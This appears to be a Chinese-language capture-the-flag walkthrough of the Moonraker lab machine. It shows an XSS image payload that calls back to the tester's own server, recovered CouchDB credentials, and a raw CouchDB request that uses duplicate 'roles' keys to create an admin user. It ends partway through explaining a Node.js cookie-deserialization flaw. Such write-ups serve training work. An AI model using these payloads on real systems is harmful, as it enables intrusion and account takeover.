1.3 目录分析

1.3.1 /services/

  1. 打开http://192.168.0.3:80/services/发现有一个超链接

    Moonraker

  2. 点击进入http://192.168.0.3/svc-inq/sales.html，根据提示：对方会在5分钟左右的时间内查看我们所提交的信息。

    Moonraker

  3. 在提交内容时， 发现对方是通过web方式查看提交的内容，尝试包含链接地址的xss能否被对方所读取

    1. Moonraker

    2. kali配置如下：

      # 启动apache服务
systemctl start apache2

# 创建测试文件
cat /var/www/html/test.txt     
xss test.

# 打开访问日志，确认测试文件是否被访问
tail -f /var/log/apache2/access.log

    3. 提交内容如下：<img src=http://192.168.0.2/test.txt>

      Moonraker

    4. 根据访问日志内容，发现提交的xss内容成功执行，所使用的页面为：http://127.0.0.1/svc-inq/salesmoon-gui.php

      Moonraker

    5. 提交后的页面，存在一个返回主页的超链接：http://192.168.0.3/moonraker.html

      Moonraker

1.3.2 /svc-inq/salesmoon-gui.php

  1. http://192.168.0.3/svc-inq/salesmoon-gui.php可以看到通过http://192.168.0.3/svc-inq/sales.html提交的信息展示在此处。

    Moonraker

  2. 点击返回到上层目录：http://192.168.0.3/raker-sales/index.html

    Moonraker

  3. 查看CouchDB Notes

    1. 发现包含有数据库用户的信息

      Moonraker

    2. google走起，原来Jaws的女朋友名字叫：Dolly

      Moonraker

  4. 查看Hugo's page moved to port 3k，

    Moonraker

    1. 登录http://192.168.0.3:3000/，尝试构造cookie，无法登录

      1. profile:eyJ1c2VybmFtZSI6Imh1Z28ifQ==

        Moonraker

        Moonraker

      2. 通过注释可知，对方使用的是node.js，在代码中又存在序列化函数，是否与此有关呢？

1.3.3 moonraker.html

  1. http://192.168.0.3/moonraker.html

    Moonraker

  2. 查看源码，共发现以下两个页面：

    1. /blog.html

      Moonraker

    2. /cats/cats-gallery.html

      Moonraker

2 利用收集的信息

2.1 尝试登录CouchDB

  1. CouchDB 登录方式，得知数据库版本为：2.2版本

    http://192.168.0.3:5984/_utils/#login

    Moonraker

  2. 成功登录：jaws/dollyx99

    Moonraker

  3. 查看user和replicator表，提示没有权限

    Moonraker

  4. 查看Link表，目标存在以下链接

    Moonraker

2.2 收集数据库中的信息

2.2.1 /HR-Confidential/offer-letters.html

  1. http://192.168.0.3/HR-Confidential/offer-letters.html

    Moonraker

  2. 查看offer-letters中的信息，提示下载，打开后内容如下:

    Username: jaws

  3. 根据1.3.2-4所收集的信息，尝试使用hugo登录：http://192.168.0.3:3000/，没什么东西

    Moonraker

3 CouchDB垂直权限绕过漏洞利用

3.1 创建管理员

PUT /_users/org.couchdb.user:admin1 HTTP/1.1
Host: 192.168.0.3:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{ "type": "user", "name": "admin1", "roles": ["_admin"], "roles": [], "password": "admin123" }

Moonraker

3.2 尝试使用创建的账号登录

查看用户表仍然没有权限

Moonraker

4 Node.js反序列化的漏洞执行远程代码利用

Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie，对cookie值执行base64解码，并将其传递给unserialize()函数。由于cookie是不受信任的输入，攻击者可以制作恶意Cookie值以利用此漏洞。
